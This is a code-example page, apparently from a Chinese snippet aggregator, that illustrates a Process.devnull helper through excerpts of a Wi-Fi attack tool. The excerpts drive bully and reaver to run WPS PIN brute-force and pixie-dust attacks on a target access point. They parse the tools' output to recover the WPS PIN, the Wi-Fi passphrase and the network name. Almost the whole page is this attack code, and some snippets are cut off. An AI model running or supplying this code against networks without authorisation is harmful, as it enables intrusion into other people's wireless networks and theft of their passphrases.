Python Process.devnull方法代码示例

# 需要导入模块: from Process import Process [as 别名]
# 或者: from Process.Process import devnull [as 别名]
    def run(self):
        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='wps_pin') as airodump:
            # Wait for target
            Color.clear_entire_line()
            Color.pattack("WPS",
                    self.target,
                    self.attack_type(),
                    "Waiting for target to appear...")
            self.target = self.wait_for_target(airodump)

            # Start bully
            self.bully_proc = Process(self.cmd,
                stderr=Process.devnull(),
                bufsize=0,
                cwd=Configuration.temp())
            t = Thread(target=self.parse_line_thread)
            t.daemon = True
            t.start()
            try:
                while self.bully_proc.poll() is None:
                    try:
                        self.target = self.wait_for_target(airodump)
                    except Exception as e:
                        Color.clear_entire_line()
                        Color.pattack("WPS",
                                self.target,
                                self.attack_type(),
                                "{R}failed: {O}%s{W}" % e)
                        Color.pl("")
                        self.stop()
                        break
                    Color.clear_entire_line()
                    Color.pattack("WPS",
                            self.target,
                            self.attack_type(),
                            self.get_status())
                    time.sleep(0.5)
            except KeyboardInterrupt as e:
                self.stop()
                raise e
            except Exception as e:
                self.stop()
                raise e

        if self.crack_result is None:
            Color.clear_entire_line()
            Color.pattack("WPS",
                    self.target,
                    self.attack_type(),
                    "{R}Failed{W}\n")

# 需要导入模块: from Process import Process [as 别名]
# 或者: from Process.Process import devnull [as 别名]
    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '-i', Configuration.interface,
            '-b', self.target.bssid,
            '-c', self.target.channel,
            '-K', '1', # pixie-dust attack
            '-a', # Automatically restart session
            '-vv' # (very) verbose
        ]

        stdout_write = open(self.stdout_file, 'a')

        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())

        pin = None
        step = '0) initializing'
        time_since_last_step = 0

        while True:
            time.sleep(1)
            Color.clear_line()
            Color.p('\r{+} {C}WPS pixie-dust attack{W} ')

            stdout_write.flush()

            # Check output from reaver process
            stdout = self.get_stdout()
            stdout_last_line = stdout.split('\n')[-1]

            (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

            # Check if we cracked it, or if process stopped.
            if (pin and psk and ssid) or reaver.poll() != None:
                reaver.interrupt()

                # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                stdout = self.get_stdout()
                (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)

                # Check if we cracked it.
                if pin and psk and ssid:
                    # We cracked it.
                    bssid = self.target.bssid
                    Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
                    self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
                    self.crack_result.dump()
                    return True
                else:
                    # Failed to crack, reaver proces ended.
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    return False

            last_step = step
            # Status updates, depending on last line of stdout
            if 'Waiting for beacon from' in stdout_last_line:
                step = '({C}step 1/8{W}) waiting for beacon'
            elif 'Associated with' in stdout_last_line:
                step = '({C}step 2/8{W}) waiting to start session'
            elif 'Starting Cracking Session.' in stdout_last_line:
                step = '({C}step 3/8{W}) waiting to try pin'
            elif 'Trying pin' in stdout_last_line:
                step = '({C}step 4/8{W}) trying pin'
            elif 'Sending EAPOL START request' in stdout_last_line:
                step = '({C}step 5/8{W}) sending eapol start request'
            elif 'Sending identity response' in stdout_last_line:
                step = '({C}step 6/8{W}) sending identity response'
            elif 'Sending M2 message' in stdout_last_line:
                step = '({C}step 7/8{W}) sending m2 message (may take a while)'
            elif 'Detected AP rate limiting,' in stdout_last_line:
                if Configuration.wps_skip_rate_limit:
                    Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                    Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
                             ' this kind of failure in the future{W}')
                    break
                step = '({C}step -/8{W}) waiting for AP rate limit'

            if 'WPS pin not found' in stdout:
                Color.pl('{R}failed: {O}WPS pin not found{W}')
                break

            if step != last_step:
                # Step changed, reset step timer
                time_since_last_step = 0
            else:
                time_since_last_step += 1

            if time_since_last_step > Configuration.wps_pixie_step_timeout:
                Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
                break

            # TODO: Timeout check
            if reaver.running_time() > Configuration.wps_pixie_timeout:
                Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
                break
#.........这里部分代码省略.........

# 需要导入模块: from Process import Process [as 别名]
# 或者: from Process.Process import devnull [as 别名]
    def run_wps_pin_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)
        stdout_write = open(self.stdout_file, 'a')

        # Start reaver process
        command = [
            'reaver',
            '-i', Configuration.interface,
            '-b', self.target.bssid,
            '-c', self.target.channel,
            '-a', # Automatically restart session
            '-vv'  # verbose
        ]
        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())

        self.success = False
        pins = set()
        pin_current = 0
        pin_total = 11000
        failures = 0
        state = 'initializing'

        while True:
            time.sleep(1)
            percent = 100 * float(pin_current) / float(pin_total)
            Color.clear_line()
            Color.p('\r{+} {C}WPS PIN attack{W} (')
            Color.p('{G}%.2f%% done{W}, ' % percent)
            Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total))
            Color.p('{R}%d/%d failures{W}) ' % (failures, \
                                            Configuration.wps_fail_threshold))

            if failures >= Configuration.wps_fail_threshold:
                Color.pl('{R}failed: {O}too many failures{W}')
                break

            # Get output
            out = self.get_stdout()

            # Clear output file
            f = open(self.stdout_file, 'w')
            f.write('')
            f.close()

            # CHECK FOR CRACK

            (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
            if pin and psk and ssid:
                # We cracked it.
                self.success = True
                Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
                self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
                self.crack_result.dump()
                break


            # PIN PROGRESS

            # Reaver 1.5.*
            match = None
            for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
                # Look at last entry for "Pin count advanced" to get latest pin count
                pass
            if match:
                # Reset failures on successful try
                failures = 0
                groups = match.groups()
                pin_current = int(groups[0])
                pin_total = int(groups[1])

            # Reaver 1.3, 1.4
            match = None
            for match in re.finditer('Trying pin (\d+)', out):
                if match:
                    pin = int(match.groups()[0])
                    if pin not in pins:
                        # Reset failures on successful try
                        failures = 0
                        pins.add(pin)
                        pin_current += 1

            # Failures
            if 'WPS transaction failed' in out:
                failures += out.count('WPS transaction failed')
            elif 'Receive timeout occurred' in out:
                # Reaver 1.4
                failures += out.count('Receive timeout occurred')

            # Status
            if 'Waiting for beacon from'   in out: state = '{O}waiting for beacon{W}'
            if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
            # Reaver 1.4
            if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'

            if 'Detected AP rate limiting' in out:
                state = '{R}rate-limited{W}'
                if Configuration.wps_skip_rate_limit:
#.........这里部分代码省略.........